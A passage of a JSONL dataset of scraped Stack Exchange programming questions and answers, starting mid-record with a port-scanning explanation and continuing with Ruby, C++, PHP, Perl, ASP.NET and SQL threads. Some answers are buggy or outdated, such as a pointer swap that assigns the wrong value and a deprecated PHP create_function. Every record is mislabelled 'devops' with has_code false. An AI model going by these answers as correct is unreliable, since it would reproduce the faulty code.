scan has the advantage that the\n  individual services never actually\n  receive a connection while some\n  services can be crashed with a connect\n  scan. However, the RST during the\n  handshake can cause problems for some\n  network stacks, particularly simple\n  devices like printers. There are no\n  conclusive arguments either way.\nSource Wikipedia\nAs is mentioned below, I think\nnmap\ncan do SYN scanning.\nUsing sockets for TCP port scanning:\nOne way to determine which ports are open is to open a socket to that port.  Or to a different port which finds out the information for you like you mentioned.\nFor example from command prompt or a terminal:\n```\n```\ntelnet google.com 80\n```\n```\nUDP Port scanning:\nif a UDP packet is sent to a port that is not open, the system will respond with an ICMP port unreachable message. You can use this method to determine if a port is open or close.  But the receiving program will know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:03.972313"}
{"id": "hf_a2b6e105a415", "question": "<p>Say I have an array that represents a set of points:</p>\n\n<pre><code>x = [2, 5, 8, 33, 58]\n</code></pre>\n\n<p>How do I generate an array of all the pairwise distances? </p>\n", "question_body": "", "answer": "```\n```\nx = [2, 5, 8, 33, 58]\nprint x.collect {|n| x.collect {|i| (n-i).abs}}.flatten\n```\n```\nI think that would do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.006197"}
{"id": "hf_adedfbaf7105", "question": "<p>How do I pick a random element from a set?\nI'm particularly interested in picking a random element from a\nHashSet or a LinkedHashSet, in Java.\nSolutions for other languages are also welcome. </p>\n", "question_body": "", "answer": "Since you said \"Solutions for other languages are also welcome\", here's the version for Python:\n```\n```\n>>> import random\n>>> random.choice([1,2,3,4,5,6])\n3\n>>> random.choice([1,2,3,4,5,6])\n4\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.080896"}
{"id": "hf_0b8043c44cdd", "question": "<p>Can you have custom client-side javascript Validation for standard ASP.NET Web Form Validators?</p>\n\n<p>For instance use a asp:RequiredFieldValidator leave the server side code alone but implement your own client notification using jQuery to highlight the field or background color for example.</p>\n", "question_body": "", "answer": "What you can do is hook into the validator and assign a new evaluate method, like this:\n```\n```\n<script type=\"text/javascript\">\n        rfv.evaluationfunction = validator;\n\n        function validator(sender, e) {\n            alert('rawr');\n        }\n    </script>\n```\n```\nrfv is the ID of my required field validator.  You have to do this at the bottom of your page so that it assigns it after the javascript for the validator is registered.\nIts much easier just to use the CustomFieldValidator and assign its client side validation property.\n```\n```\n<asp:CustomValidator ControlToValidate=\"txtBox\" ClientValidationFunction=\"onValidate\" />\n\n<script type='text/javascript'>\nfunction onValidate(sender, e)\n { \n     alert('do validation');\n }\n</script>\n```\n```\nCheck out the documentation\nhere\nand\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.102538"}
{"id": "hf_8ec901972c4e", "question": "<p>I have seen this link: <a href=\"http://www.developer.com/lang/jscript/article.php/3592016\" rel=\"noreferrer\">Implementing Mutual Exclusion in JavaScript</a>.\nOn the other hand, I have read that there are no threads in javascript, but what exactly does that mean? </p>\n\n<p>When events occur, where in the code can they interrupt?</p>\n\n<p>And if there are no threads in JS, do I need to use mutexes in JS or not?</p>\n\n<p>Specifically, I am wondering about the effects of using functions called by <code>setTimeout()</code> and <code>XmlHttpRequest</code>'s <code>onreadystatechange</code> on globally accessible variables. </p>\n", "question_body": "", "answer": "JavaScript is single threaded... though Chrome may be a new beast (I think it is also single threaded, but each tab has it's own JavaScript thread... I haven't looked into it in detail, so don't quote me there).\nHowever, one thing you DO need to worry about is how your JavaScript will handle multiple ajax requests coming back in not the same order you send them.  So, all you really need to worry about is make sure your ajax calls are handled in a way that they won't step on eachother's feet if the results come back in a different order than you sent them.\nThis goes for timeouts too...\nWhen JavaScript grows multithreading, then maybe worry about mutexes and the like....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.169027"}
{"id": "hf_0bbceb439ca8", "question": "<p>We're looking to automate our deployment of Web Applications, particularly when going from local development to a remote server.</p>\n\n<p>Our current stack is LAMP remotely, MAMP locally, but I'm interested in general what people are using for this task regardless of their environment?</p>\n\n<p>I'm not just talking about moving files around, I also meant considering other tasks such as:</p>\n\n<ul>\n<li>Setting up Database schema</li>\n<li>Managing configurations</li>\n<li>Misc tasks required for deployment (creating log files etc.)</li>\n</ul>\n", "question_body": "", "answer": "rsync->great tool\nBut, the answer depends on your enviro.  What do you use for source control?  What do you use for a build system? Etc.\nDeployment for a web server is nothing more than a \"cp\" command depending on which files changed.  You need to build a process that tracks the files that change, pull those files from source control and then pushes those changes.  When you are dealing with PHP files, how do you know which files to push? That's the problem.  You solve that, you'll be fine.  The tool to cp the files and \"deploy\" them is the easy part.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.192567"}
{"id": "hf_beb5506cb234", "question": "<p>I have an <code>&lt;img&gt;</code> in an HTML document that I would like to highlight as though the user had highlighted it using the mouse. Is there a way to do that using JavaScript?</p>\n\n<p>I only need it to work in Mozilla, but any and all information is welcome.</p>\n\n<p><em>EDIT: The reason I want to select the image is actually not so that it appears highlighted, but so that I can then copy the selected image to the clipboard using XPCOM. So the img actually has to be selected for this to work.</em></p>\n", "question_body": "", "answer": "You can swap the source of the image, as in img.src = \"otherimage.png\";\nI actually did this at one point, and there are things you can do to pre-load the images.\nI even set up special attributes on the image elements such as swap-image=\"otherimage.png\", then searched for any elements that had it, and set up handlers to automatically swap the images... you can do some fun stuff.\nSorry I misunderstood the question!  but anyways, for those of you interested in doing what I am talking about, here is an example of what I mean (crude implementation, I would suggest using frameworks like jQuery to improve it, but just something to get you going):\n```\n```\n<html>\n<body>\n<script language=\"javascript\">\nfunction swap(name) {\n  document.getElementById(\"image\").src = name;\n}\n</script>\n<img id=\"image\" src=\"test1.png\"\n     onmouseover=\"javascript:swap('test0.png');\"\n     onmouseout=\"javascript:swap('test1.png');\">\n</body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.280523"}
{"id": "hf_9c0e2b53d3c7", "question": "<p>I'd like to ensure my RAII class is always allocated on the stack.</p>\n\n<p>How do I prevent a class from being allocated via the 'new' operator?</p>\n", "question_body": "", "answer": "All you need to do is declare the class' new operator private:\n```\n```\nclass X\n{\n    private: \n      // Prevent heap allocation\n      void * operator new   (size_t);\n      void * operator new[] (size_t);\n      void   operator delete   (void *);\n      void   operator delete[] (void*);\n\n    // ...\n    // The rest of the implementation for X\n    // ...\n};\n```\n```\nMaking 'operator new' private effectively prevents code outside the class from using 'new' to create an instance of X.\nTo complete things, you should hide 'operator delete' and the array versions of both operators.\nSince C++11 you can also explicitly delete the functions:\n```\n```\nclass X\n{\n// public, protected, private ... does not matter\n    static void *operator new     (size_t) = delete;\n    static void *operator new[]   (size_t) = delete;\n    static void  operator delete  (void*)  = delete;\n    static void  operator delete[](void*)  = delete;\n};\n```\n```\nRelated Question:\nIs it possible to prevent stack allocation of an object and only allow it to be instiated with ‘new’?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.305440"}
{"id": "hf_aec5b5a8dac9", "question": "<p>I'm a long-time Windows developer, having cut my teeth on win32 and early COM.  I've been working with .NET since 2001, so I'm pretty fluent in C# and the CLR.  I'd never heard of Castle Windsor until I started participating in Stack Overflow.  I've read the Castle Windsor \"Getting Started\" guide, but it's not clicking.</p>\n\n<p>Teach this old dog new tricks, and tell me why I should be integrating Castle Windsor into my enterprise apps.</p>\n", "question_body": "", "answer": "Castle Windsor is an inversion of control tool.  There are others like it.\nIt can give you objects with pre-built and pre-wired dependencies right in there.\nAn entire object graph created via reflection and configuration rather than the \"new\" operator.\nStart here:\nhttp://tech.groups.yahoo.com/group/altdotnet/message/10434\nImagine you have an email sending class.  EmailSender. Imagine you have another class WorkflowStepper.  Inside WorkflowStepper you need to use EmailSender.\nYou could always say\n```\nnew EmailSender().Send(emailMessage);\n```\nbut that - the use of\n```\nnew\n```\n- creates a TIGHT COUPLING that is hard to change.  (this is a tiny contrived example after all)\nSo what if, instead of newing this bad boy up inside WorkflowStepper, you just passed it into the constructor?\nSo then whoever called it had to new up the EmailSender.\n```\nnew WorkflowStepper(emailSender).Step()\n```\nImagine you have hundreds of these little classes that only have one responsibility (google SRP).. and you use a few of them in WorkflowStepper:\n```\nnew WorkflowStepper(emailSender, alertRegistry, databaseConnection).Step()\n```\nImagine not worrying about the details of\n```\nEmailSender\n```\nwhen you are writing\n```\nWorkflowStepper\n```\nor\n```\nAlertRegistry\n```\nYou just worry about the concern you are working with.\nImagine this whole graph (tree) of objects and dependencies gets wired up at RUN TIME, so that when you do this:\n```\nWorkflowStepper stepper = Container.Get<WorkflowStepper>();\n```\nyou get a real deal\n```\nWorkflowStepper\n```\nwith all the dependencies automatically filled in where you need them.\nThere is no\n```\nnew\n```\nIt just\nhappens\n- because it knows what needs what.\nAnd you can write fewer defects with better designed, DRY code in a testable and repeatable way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.367818"}
{"id": "hf_e5d58100f0ea", "question": "<p>Is it possible to prevent stack allocation of an object and only allow it to be instiated with 'new' on the heap?</p>\n", "question_body": "", "answer": "You could make the constructor\n```\nprivate\n```\n, then provide a\n```\npublic\n```\nstatic factory method to create the objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.392965"}
{"id": "hf_49a05857edf8", "question": "<p>I need to change the functionality of an application based on the executable name. Nothing huge, just changing strings that are displayed and some internal identifiers. The application is written in a mixture of native and .Net C++-CLI code. </p>\n\n<p>Two ways that I have looked at are to parse the GetCommandLine() function in Win32 and stuffing around with the AppDomain and other things in .Net. However using GetCommandLine won't always work as when run from the debugger the command line is empty. And the .Net AppDomain stuff seems to require a lot of stuffing around.</p>\n\n<p>So what is the nicest/simplest/most efficient way of determining the executable name in C++/CLI? (I'm kind of hoping that I've just missed something simple that is available in .Net.)</p>\n\n<p>Edit: One thing that I should mention is that this is a Windows GUI application using C++/CLI, therefore there's no access to the traditional C style main function, it uses the Windows WinMain() function.</p>\n", "question_body": "", "answer": "Call\nGetModuleFileName()\nusing 0 as a module handle.\nNote:\nyou\ncan\nalso use the\n```\nargv[0]\n```\nparameter to main or call\n```\nGetCommandLine()\n```\nif there is no main. However, keep in mind that these methods will not necessarily give you the complete path to the executable file. They will give back the same string of characters that was used to start the program. Calling\n```\nGetModuleFileName()\n```\n, instead, will always give you a complete path and file name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.429250"}
{"id": "hf_3ca64c9cf974", "question": "<p>I'm trying to display an array of files in order of date (last modified).</p>\n\n<p>I have done this buy looping through the array and sorting it into another array, but is there an easier (more efficient) way to do this?</p>\n", "question_body": "", "answer": "Warning\n```\ncreate_function()\n```\nhas been DEPRECATED as of PHP 7.2.0. Relying on this function is highly discouraged.\nFor the sake of posterity, in case the forum post linked in the accepted answer is lost or unclear to some, the relevant code needed is:\n```\n```\n<?php\n\n$myarray = glob(\"*.*\");\nusort($myarray, create_function('$a,$b', 'return filemtime($a) - filemtime($b);'));\n\n?>\n```\n```\nTested this on my system and verified it does sort by file mtime as desired. I used a similar approach (written in Python) for determining the last updated files on my website as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.499896"}
{"id": "hf_cbb0900a51c0", "question": "<p>I'm looking for a free winforms component for an application I'm writing. I basicly need a textbox that contains line numbers in a side column. Being able to tabulate data within it would be a major plus too.</p>\n\n<p>Does anyone know of a premade component that could do this?</p>\n", "question_body": "", "answer": "Take a look at the\nSharpDevelop\nC# compiler/IDE source code. They have a sophisticated text box with line numbers. You could look at the source, figure out what they're doing, and then implement it yourself.\nHere's a sample of what I'm referencing:\nalt text http://community.sharpdevelop.net/photos/mattward/images/original/FeatureTourQuickClassBrowser.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.559756"}
{"id": "hf_3745ca34a2e3", "question": "<p>...or are they the same thing? I notice that each has its own Wikipedia entry: <a href=\"http://en.wikipedia.org/wiki/Polymorphism_(computer_science)\" rel=\"noreferrer\">Polymorphism</a>, <a href=\"http://en.wikipedia.org/wiki/Multiple_dispatch\" rel=\"noreferrer\">Multiple Dispatch</a>, but I'm having trouble seeing how the concepts differ.</p>\n\n<p><strong>Edit:</strong> And how does <a href=\"http://en.wikipedia.org/wiki/Overloaded\" rel=\"noreferrer\">Overloading</a> fit into all this?</p>\n", "question_body": "", "answer": "Multiple Dispatch is a kind of polymorphism.  In Java/C#/C++, there is polymorphism through inheritance and overriding, but that is not multiple dispatch, which is based on two or more arguments (not just\n```\nthis\n```\n, like in Java/C#/C++)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.654533"}
{"id": "hf_a3296be6510f", "question": "<p>Most importantly, why did it fail?</p>\n\n<p>What I'm looking for here is pathologies that anyone, whether new to the team or just waking up one day,can spot.</p>\n", "question_body": "", "answer": "A project that had no end. No one knew when it was finished. All we knew was that we had to keep doing whatever that we were doing. And yes sadly it was just as vague as I explained it.\nDid it fail. In my opinion it did since we never saw what happened to it at the end, we were moved on to another project, and you can say it faded into the night.\nWhy? Everything opposite of the 7 project management body of knowledge.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.678916"}
{"id": "hf_768c39d93082", "question": "<p>I have a 2D character array:<br>\n<code>char nm[MAX1][MAX2] = { \"john\", \"bob\", \"david\" };</code><br>\nI want to swap two of these elements (without <code>std::swap</code>) by simply writing<br>\n<code>swapPointers(nm[0], nm[1]);</code><br>\nwhere <code>swapPointers</code> looks like this  </p>\n\n<pre><code>void swapPointers(char *&amp;a, char *&amp;b)  \n{  \n    char *temp = a;  \n    a = b;  \n    b = a;  \n}\n</code></pre>\n\n<p>However, this does not compile (and while adding casts makes it compile, the pointers end up pointing to wrong/weird locations).  </p>\n\n<p>Can anybody help?<br>\nThanks!</p>\n", "question_body": "", "answer": "```\n```\nvoid swapPointers(char** ppa, char** ppb)\n{\n    char* ptemp = *ppa;\n    *ppb = *ppa;\n    *ppa = ptemp;\n}\n\nswapPointers(&nm[0], &nm[1]);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.703243"}
{"id": "hf_952373647a6e", "question": "<p>I have an app that has impersonation used throughout.  But when a user is logged in as an admin, a few operation require them to write to the server itself.  Now if these users do not have rights on the actual server (some don't) it will not let them write. </p>\n\n<p>What I want to do is turn off impersonation for just a couple commands.</p>\n\n<p>Is there a way to do something like this?</p>\n\n<pre><code>using(HostingEnvironment.Impersonate.Off())\n  //I know this isn't a command, but you get the idea?\n</code></pre>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "I am not sure if this is the preferred approach but when I wanted to do this I new'd up an instance of a\nWindowsIdentity\nand called the\nImpersonate\nmethod.  This allows subsequent code to impersonate a different Windows user. It returns a\nWindowsImpersonationContext\nthat has an\nUndo\nmethod which reverts the impersonation context back again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.727977"}
{"id": "hf_b6da75318056", "question": "<p>Say I have the following string:</p>\n\n<pre><code>\"I am the most foo h4ck3r ever!!\"\n</code></pre>\n\n<p>I'm trying to write a makeSpecial(foo) function where the foo substring would be wrapped in a new span element, resulting in:</p>\n\n<pre><code>\"I am the most &lt;span class=\"special\"&gt;foo&gt;&lt;/span&gt; h4ck3r ever!!\"\n</code></pre>\n\n<p>BeautifulSoup seemed like the way to go, but I haven't been able to make it work.</p>\n\n<p>I could also pass this to the browser and do it with javascript, but that doesn't seem like a great idea.</p>\n\n<p>Some advice for this would be really useful, especially in python. </p>\n", "question_body": "", "answer": "How about this:\n```\n```\nPython 2.5.1 (r251:54863, Apr 18 2007, 08:51:08) [MSC v.1310 32 bit (Intel)] on\nwin32\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> def makeSpecial(mystring, special_substr):\n...     return mystring.replace(special_substr, '<span class=\"special\">%s</span>\n' % special_substr)\n...\n>>> makeSpecial(\"I am the most foo h4ck3r ever!!\", \"foo\")\n'I am the most <span class=\"special\">foo</span> h4ck3r ever!!'\n>>>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.776466"}
{"id": "hf_3c5be6238a2b", "question": "<p>I'm trying to bind a <code>List&lt;T&gt;</code> to a DataGridView control, and I'm not having any luck creating custom bindings.</p>\n\n<p>I have tried:</p>\n\n<pre><code>gvProgramCode.DataBindings.Add(new Binding(\"Opcode\",code,\"Opcode\"));\n</code></pre>\n\n<p>It throws an exception, saying that nothing was found by that property name.</p>\n\n<p>The name of the column in question is \"Opcode\". The name of the property in the <code>List&lt;T&gt;</code> is Opcode.</p>\n\n<p><strong>ANSWER EDIT</strong>: the problem was that I did not have the bindable fields in my class as properties, just public fields...Apparently it doesn't reflect on fields, just properties.</p>\n", "question_body": "", "answer": "Is the property on the grid you are binding to Opcode as well?.. if you want to bind directly to List you would just DataSource = list.  The databindings allows custom binding. are you trying to do something other than the datasource?\nYou are getting a bunch of empty rows? do the auto generated columns have names? Have you verified data is in the object (not just string.empty) ?\n```\n```\nclass MyObject\n    {\n        public string Something { get; set; }\n        public string Text { get; set; }\n        public string Other { get; set; }\n    }\n\n    public Form1()\n    {\n        InitializeComponent();\n\n        List<MyObject> myList = new List<MyObject>();\n\n        for (int i = 0; i < 200; i++)\n        {\n            string num = i.ToString();\n            myList.Add(new MyObject { Something = \"Something \" + num , Text = \"Some Row \" + num , Other = \"Other \" + num  });\n        }\n\n        dataGridView1.DataSource = myList;\n    }\n```\n```\nthis should work fine...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.813798"}
{"id": "hf_87ee5782a696", "question": "<p>I am developing a forms app (not web) for Windows Mobile, using .NET CF 3.5.  I need an HTML editor control.  I'm looking for something along the lines of a simple FCKEditor, but for using in a forms app (EXE).</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "I'm not sure if it is supported by the compact framework but you can try setting designmode on the WebBrowser control through reflection and wrapping it up to make a simple WYSIWYG editor.. think this is the code..\n```\n```\nwebBrowser1.Document.GetType().GetProperty(\"designmode\").SetValue(webBrowser1.Document, true, null);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.875311"}
{"id": "hf_1ae3b06c625c", "question": "<p>I'm trying to write an app using Ruby on Rails and I'm trying to achieve the following:</p>\n\n<blockquote>\n  <p>The app needs to receive UDP messages coming in on a specific port (possibly 1 or more per second) and store them in the database so that the rest of my Rails app can access it.  </p>\n</blockquote>\n\n<p>I was thinking of writing a separate daemon that would receive these messages and shell out to a ruby script on my rails app that will store the message in the database using the right model.  The problem with this approach is that the ruby script will be run very often.  It would be better performance-wise if I could just have a long-running ruby process that can constantly receive the UDP messages store them in the database.  </p>\n\n<p>Is this the right way to do it?  Is there something in the Rails framework that can help with this?</p>\n", "question_body": "", "answer": "You definitely don't want to load the Rails stack for each incoming request -- that would be way too slow; you'll want to use something lower-level to handle the incoming connections. You might look at the internals of Webrick to see a simple server daemon coded in ruby -- or, if you want something more performant, look at Mongrel or Thin.\nIn general, the whole Rails stack isn't gonna help you a lot here -- most of it is geared towards serving web apps, not saving stuff straight off the wire.\nThe part of Rails that will probably help you the most is ActiveRecord -- there's a pretty good chance you'll want to use that to store your Model data in the database. In fact, you should be able to\n```\ninclude\n```\nyour actual Rails models and use them in your UDP-monitoring process. Check the\nActiveRecord docs\nfor examples in connecting to a database outside your Rails project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.899981"}
{"id": "hf_690b05a523ea", "question": "<p>Is it possible to specify a relative path reference in connectionstring, attachDbFileName property in a web.config?</p>\n\n<p>For example, In my database is located in the App_data folder, I can easily specify the AttachDBFilename as|DataDirectory|\\mydb.mdf and the |Datadirectory| will automatically resolve to the correct path.</p>\n\n<p>Now, suppose that web.config file is located in A folder, but the database is located in B\\App_data folder, where A and B folder is located in the same folder. Is there anyway to use relative path reference to resolve to the correct path?</p>\n", "question_body": "", "answer": "It depends on where your '|DataDirectory|' is located.  If the resolved value of '|DataDirectory|' is in folder A (where the web.config is), then no - you can't specify a relative path that is not a subfolder of the resolved value of '|DataDirectory|'.\nWhat you\ncan\ndo is set the value of '|DataDirectory|' to be wherever you would like, by calling the\nAppDomain.SetData\nmethod.\nFrom the MSDN online documentation:\nWhen DataDirectory is used, the resulting file path cannot be higher in the directory structure than the directory pointed to by the substitution string. For example, if the fully expanded DataDirectory is C:\\AppDirectory\\app_data, then the sample connection string shown above works because it is below c:\\AppDirectory. However, attempting to specify DataDirectory as |DataDirectory|..\\data will result in an error because \\data is not a subdirectory of \\AppDirectory.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.937170"}
{"id": "hf_b906f4862488", "question": "<p>I need to pass a regex substitution as a variable:</p>\n<pre><code>sub proc {\n    my $pattern = shift;\n    my $txt = &quot;foo baz&quot;;\n\n    $txt =~ $pattern;\n}\n\nmy $pattern = 's/foo/bar/';\nproc($pattern);\n</code></pre>\n<p>This, of course, doesn't work. I tried eval'ing the substitution:</p>\n<pre><code>eval(&quot;$txt =~ $pattern;&quot;);\n</code></pre>\n<p>but that didn't work either. What horribly obvious thing am I missing here?</p>\n", "question_body": "", "answer": "Well, you can precompile the regular expression using the\nqr//\noperator.  But you can't pass an operator (s///).\n```\n```\n$pattern = qr/foo/;\n\nprint \"match!\\n\" if $text =~ $pattern;\n```\n```\nBut if you have to pass the substitution operator, you are down to passing either code or strings:\n```\n```\nproc('$text =~ s/foo/bar');\n\nsub proc {\n   my $code = shift;\n\n   ...\n\n   eval $code;\n}\n```\n```\nor, code:\n```\n```\nproc(sub {my $text = shift;  $text =~ s/foo/bar});\n\nsub proc {\n   my $code = shift;\n\n   ...\n\n   $code->(\"some text\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:04.961528"}
{"id": "hf_d8f6a9ed11fd", "question": "<p>A common pattern with STL containers is this:</p>\n\n<pre><code>map&lt;Key, Value&gt; map;\nfor(map&lt;Key, Value&gt;::iterator iter = map.begin(); iter != map.end(); ++iter)\n{\n  ...\n}\n</code></pre>\n\n<p>So in order to avoid writing the declaration of the template parameters we can do this somewhere:</p>\n\n<pre><code>typedef map&lt;Key, Value&gt; TNiceNameForAMap;\n</code></pre>\n\n<p>But if this map is only used in a single function or for a single iteration this is an annoying overhead.</p>\n\n<p>Is there any way around this typedef?</p>\n", "question_body": "", "answer": "Not sure what you mean by \"overhead\". If it simplifies the way you write your code, use it, otherwise stick with the longhand.\nIf it's only used in a restricted scope, put the typedef in that same scope. Then it doesn't need to be published, or documented, or appear on any UML diagrams. For example (and I don't claim this is the best code ever in other respects):\n```\n```\nint totalSize() {\n    typedef std::map<Key, Value> DeDuplicator;\n    DeDuplicator everything;\n\n    // Run around the universe finding everything. If we encounter a key\n    // more than once it's only added once.\n\n    // now compute the total\n    int total = 0;\n    for(DeDuplicator::iterator i = everything.begin(); i <= everything.end(); ++i) {\n        total += i->second.size(); // yeah, yeah, overflow. Whatever.\n    }\n    return total;\n}\n```\n```\nCombining with Ferruccio's suggestion (if you're using boost), the loop becomes:\n```\n```\nBOOST_FOREACH(DeDuplicator::pair p, everything) {\n    total += p.second.size();\n}\n```\n```\nAnd combining with bk1e's suggestion (if you're using C++0x or have features from it), and assuming that BOOST_FOREACH interacts with auto in the way I think it should based on the fact that it can normally handle implicit casts to compatible types:\n```\n```\nstd::map<Key, Value> everything;\n// snipped code to run around...\nint total = 0;\nBOOST_FOREACH(auto p, everything) {\n    total += p.second.size();\n}\n```\n```\nNot bad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.017836"}
{"id": "hf_f653dc93331c", "question": "<p>What MySQL query will do a text search and replace in one particular field in a table?</p>\n\n<p>I.e. search for <code>foo</code> and replace with <code>bar</code> so a record with a field with the value <code>hello foo</code> becomes <code>hello bar</code>.</p>\n", "question_body": "", "answer": "The\nReplace\nstring function will do that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.054332"}
{"id": "hf_be45b173aca1", "question": "<p>In reading about Perl 6, I see a feature being trumpeted about, where you no longer have to do:</p>\n\n<pre><code>return \"0 but true\";\n</code></pre>\n\n<p>...but can instead do:</p>\n\n<pre><code>return 0 but True;\n</code></pre>\n\n<p>If that's the case, how does truth work in Perl 6? In Perl 5, it was pretty simple: 0, \"\", and undef are false, everything else is true.</p>\n\n<p>What are the rules in Perl 6 when it comes to boolean context?</p>\n", "question_body": "", "answer": "According to O'Reilly's\nPerl 6 and Parrot Essentials\n,\nfalse\nis 0, undef, the empty string, and values flagged as\nfalse\n.\ntrue\nis everything else.\nAlso, Perl 6 has both a primitive boolean type and by having True and False\nroles\nthat any value can mix in (so you can have a \"0 but True\" value or a \"1 but False\" one for example, or a false list containing elements, or a true list that's empty).\nSee\nhttp://www.mail-archive.com/macosx@perl.org/msg09930.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.088847"}
